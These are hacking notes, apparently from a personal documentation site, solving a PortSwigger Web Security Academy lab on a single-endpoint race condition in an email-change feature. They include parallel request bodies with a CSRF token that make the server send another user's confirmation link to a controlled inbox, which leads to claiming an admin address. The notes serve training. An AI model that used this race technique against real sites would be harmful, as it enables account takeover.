> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/race-conditions/single-endpoint-race-condition.md). # Single-Endpoint Race Condition Single-Endpoint Race Condition notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context. ### Single-endpoint Race Conditions ### Lab Context The email address change feature contains a **race condition** that allows you to associate an arbitrary address with our account. A user with the address **** has a **pending invitation** to become an administrator, but **has not yet created an account**. / So if someone gets to **resell this address**, it automatically retrieves the **admin rights**. ### Objective 1. Find a race condition to claim an arbitrary email address. 2. Change the account email to ****. 3. Access the **Admin panel**. 4. Delete user **carlos**. Provided credentials: **wiener:peter**/ Access to an email client for addresses **@exploit-...exploit-server.net**. ### Normal Email Change Flow The first attempt is to change the e-mail to a controlled address: * New address\:/ `wiener@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net`
Application response: > “Please click the link in your email to confirm the change of e-mail to …”
An e-mail comes with a confirmation link, for example:/ `/confirm-email?user=wiener&token=ob0dI7AMlwX2Y2uw` Once the link is clicked: > “Your email has been successfully updated”
Behind, the request looks like: ```bash email=wiener%40exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` ### Baseline Test without Racing We send several email change requests, with different emails (test1, test2,... test20), each separate, and the confirmations received correspond well to the addresses requested.
```bash email=test1@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test2@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test3@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test4@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test5@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test6@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test7@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test8@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ..... email=test20@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ```
But when you execute these same requests **in parallel**, an unexpected behavior appears: you sometimes receive confirmations that do not match the right recipient.
### Analysis of the Race Condition The observed behaviour suggests processing in two phases\*\*: 1. A phase that **prepares/writes** confirmation e-mail 2. A phase that **determines which address** e-mail is sent By sending a batch of requests in parallel, we manage to cross these two phases: the content of an email can be associated with another destination address. Principle: send in parallel a mix of requests containing: Part with: ```bash email=carlos@ginandjuice.shop&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` Another part with a controlled address: ```bash email=test@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` Result: we receive an e-mail stating: > “To confirm your email change to ****, click the link below”
So we get the **confirmation link** for Carlos' address and we can finalize the change of email to ****.
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